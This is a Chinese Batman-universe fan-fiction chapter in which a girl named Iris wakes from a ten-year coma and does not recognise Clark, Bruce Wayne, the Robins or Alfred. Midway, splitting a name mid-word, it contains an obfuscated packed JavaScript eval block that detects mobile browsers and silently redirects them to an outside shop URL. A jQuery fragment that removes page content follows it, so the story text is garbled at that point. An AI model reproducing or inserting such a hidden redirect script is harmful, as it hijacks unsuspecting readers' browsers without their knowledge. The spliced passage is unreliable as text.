IF线·十年


    艾瑞斯觉得自己已经昏过去很久了。


    像睡了一场不安稳的觉。梦里有很多影子，有很多声音，有很多她看不清的脸。有人在说话，有人在哭，有人在叫她的名字。她想应，但张不开嘴。


    然后她醒了。


    ———


    阳光落在脸上，有点刺眼。


    她眨了眨眼睛，慢慢适应那片光。


    白色的天花板。白色的灯。白色的窗帘在风里轻轻飘着。四周是病房的摆设，消毒水的味道淡淡的，混着窗外不知道什么花的香气。


    她低下头。


    头发很长了。长到手肘那么长。浅灰黑色的，散在枕头上，像一片乱糟糟的海藻。


    这不是她的头发。


    ———


    最先出现的是护士。


    穿白衣服的人跑进来，看了看她的眼睛，量了量她的体温，然后跑出去。接着是医生，更多穿白衣服的人，围在她床边，说着她听不懂的话。


    然后那群大人里走进来一个最活泼的。


    他戴着眼镜，笑容很亮，像是怕吓到她似的，走得很慢。他蹲在她床边，让自己和她一样高。


    “嗨。”他说，“我叫克拉克是你爸爸委托我来照顾你的，他很快就会来。你感觉怎么样？”


    艾瑞斯看着他。


    那双蓝色的眼睛很温和，很亮。但不是她熟悉的蓝。


    她熟悉的蓝是另一种。


    更深的。更沉的。像哥谭的夜。


    ———


    她张了张嘴。


    嗓子很干，发不出声音。


    克拉克递过来一杯水，慢慢的，扶着她的后背让她坐起来。她小口小口地喝，水是温的。


    然后更多的人走进来。


    一群大人。


    他们站在门口，站在床边，站在她看得见却够不着的地方。每个人的表情都很复杂——复杂到她看不懂。


    她只能看出来一点。


    他们在看她。


    像看什么珍贵又脆弱的东西。


    ———


    “你们……”艾瑞斯开口，声音沙沙的，“是谁？”


    ———


    房间里安静了几秒。


    那个戴眼镜的、叫克拉克的人转过头，看向身后。那群大人里，有一个往前迈了一步。


    黑色的头发。蓝色的眼睛。脸上有很多她看不懂的情绪。


    艾瑞斯看着他。


    那个人也看着她。


    很久。很久。


    然后他开口了，声音很低，像是怕惊动什么。


    “我是布鲁斯。”他说，“布鲁斯·韦恩。你……还记得吗？”


    艾瑞斯看着他。


    那双蓝色的眼睛。


    和她记忆里的不一样。


    她记忆里也有一个蓝色的眼睛。但那是另一个——是谁？她想不起来了。


    她低下头，看着自己的手。


    小小的。白的。手背上扎着针，连着管子。


    她不记得。


    ———


    十年。


    这个数字究竟算多，还是算少？


    艾瑞斯不知道。


    她看了很多报纸。每一张都有很多她不认识的字。那些字像小虫子，爬来爬去，不肯告诉她发生了什么。


    但她从护士的聊天里，从医生的只言片语里，从那些大人偶尔泄露的表情里，拼凑出一些事。


    她躺了十年。


    十年里，哥谭不太平。小丑闹了很多次。蝙蝠侠一直在追他。


    十年里，她时不时被转院。先是从哥谭的一个地方到哥谭的另一个地方，最后从哥谭到大都会据说是因为哥谭的医院不太安全，据说是因为大都会有更好的设备。


    她像一个包裹，被寄来寄去。


    但她不知道。


    她一直睡着。


    ———


    那群大人后来又来了很多次。


    戴眼镜的克


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292203|197845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拉克来得最多。他会给她带书，带杂志，带那些字少一点的、她看得懂的画册。他说话的时候总是笑着，像是怕她无聊。


    那个叫布鲁斯的也来。


    他来得少一些。来了也不怎么说话。就坐在旁边的椅子上，看着她。有时候看很久，然后站起来，摸摸她的头，走了。


    还有别的。


    一个叫迪克的，话很多，笑着笑着眼睛就红了。一个叫杰森的，站在门口不进来，但每次都来。一个叫提姆的，会给她带报纸，说“你想看什么我帮你念”。一个叫达米安的，最年轻，站在最远的地方，一句话不说，但每次都来。


    还有阿福。


    一个很老的爷爷，穿着西装，叫她“小姐”。他的眼睛也红，但他的笑很稳。


    “欢迎回来，小姐。”他说。


    艾瑞斯看着他。


    她不知道自己该说什么。


    ———


    她感到无措。


    这些人，这些脸，这些她应该认识却想不起来的人。他们看她的眼神太复杂了，复杂到她害怕。


    她怕自己辜负了那种眼神。


    她怕自己应该记得，却记不得。


    ———


    有一天，达米安单独来了。


    他站在门口，没有进来。艾瑞斯坐在床上，看着他。


    很久。


    “你真不记得？”他问。


    艾瑞斯摇摇头。


    达米安沉默了一会儿。


    “也好。”他说。


    然后他转身走了。


    艾瑞斯看着那个背影消失在门口。不知道为什么，她觉得那个背影很熟悉。


    ———


    她想叫住他。


    但张了张嘴，没发出声音。


    ———


    窗外，大都会的阳光很好。


    但艾瑞斯有时候会想起另一个地方。灰蒙蒙的天，湿漉漉的风，总是会想起一双蓝色的眼睛。


    那是谁的？